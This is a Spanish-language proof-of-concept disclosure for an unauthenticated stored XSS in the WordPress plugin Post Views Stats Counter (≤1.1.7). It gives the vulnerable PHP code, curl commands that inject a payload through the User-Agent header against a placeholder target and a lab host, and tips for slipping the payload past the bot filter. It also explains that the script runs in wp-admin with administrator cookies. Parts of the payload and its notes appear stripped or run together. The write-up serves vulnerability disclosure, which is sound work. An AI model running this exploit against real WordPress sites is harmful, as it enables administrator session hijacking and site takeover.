
Prueba de concepto para CVE-2026-97347, un XSS almacenado no autenticado en el plugin de WordPress Post Views Stats Counter a través del encabezado User-Agent, con pasos de reproducción.
| Plugin | Post Views Stats Counter |
| Versión afectada | ≤ 1.1.7 |
| Clase de fallo | XSS almacenado no autenticado |
| Punto de entrada | Cabecera HTTP User-Agent |
| Destino (sink) | Página de estadísticas del administrador (options-general.php?page=post_views_stats_admin_menu) |
| CVSS 3.1 | 7.2 Alta |
| Estado | Sin parche en el momento de la divulgación, sin versiones parcheadas conocidas hasta ahora |
| Investigador | Nawaf Althurwi |
El plugin registra cada visita a la página, incluida la cabecera User-Agent del visitante, en una tabla personalizada (wp_pvs_counter). Aquí es donde captura la cabecera — sin saneamiento en ningún punto del recorrido:
// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];
La única defensa en la entrada es un filtro de bots, y no es más que una lista negra de subcadenas:
// wp_pvscounter.php
function pvs_counter_is_bot() {
$pvs_bots = get_option('pvs_counter_value_admin_bots');
...
foreach( $pvs_bots as $pvs_bot ) {
if (stripos( $ua, $pvs_bot ) !== false) {
$bot = 1;
return $bot;
}
}
}
La lista predeterminada es bot, spider, crawler. Todo lo que no contenga esas subcadenas se almacena. Ese es el filtro completo.
En el lado de la salida, la página de administración genera un menú desplegable de "agentes de usuario registrados" e imprime el valor almacenado en bruto dentro de la etiqueta <option> — esc_attr() protege el atributo value pero la etiqueta visible es un simple echo:
// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
<option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>
Así, una petición no autenticada con HTML en la cabecera User-Agent termina ejecutándose en el navegador del administrador la próxima vez que abra la página de estadísticas del plugin. XSS almacenado clásico, sin autenticación, sin interacción de la víctima más allá de ver su propio panel de control.
Una restricción más que conviene conocer: la columna useragent es varchar(155), por lo que el payload debe mantenerse por debajo de 155 caracteres.
Cualquier URL registrada sirve — la página principal /?p=1 es suficiente. Reemplaza TARGET con el host de WordPress y YOUR_PAYLOAD con lo que quieras ejecutar en la sesión del administrador:
curl -s -o /dev/null \
-H 'User-Agent: </option></select>' \
'http://TARGET/?p=1'
Notas sobre la forma del payload:
</option></select> saca el valor del marcado del desplegable — no es decoración, sin él la inyección queda atrapada dentro de la etiqueta <option>.bot/spider/crawler (sin distinguir mayúsculas y minúsculas) o la solicitud se filtra como bot antes de llegar a la base de datos.alert(), usa   en su lugar — algunos clientes HTTP alteran los espacios en los valores de las cabeceras.El one-liner que usé en mi laboratorio:
curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
-H 'User-Agent: </option></select>' \
'http://packetradar.local:8090/?p=1'

Simplemente un curl normal. HTTP 200 significa que la vista se contó y el encabezado se guardó en la base de datos.
Abre Settings → Post Views Stats Counter como administrador (o simplemente actualiza si ya está abierto). El payload se renderiza como parte de la lista de widgets de estadísticas y el onerror se dispara:

S:C — el XSS se ejecuta en wp-admin, por lo que puede llamar a los endpoints admin-ajax y de instalación de plugins con las cookies del administrador)
Mayor calidad si quieres desplazarte/pausar: exploit-vid.mp4
Probado contra la versión 1.1.7 en WordPress 6.x en un laboratorio Docker local. No autenticado, sin interacción del usuario más allá de abrir la página de estadísticas.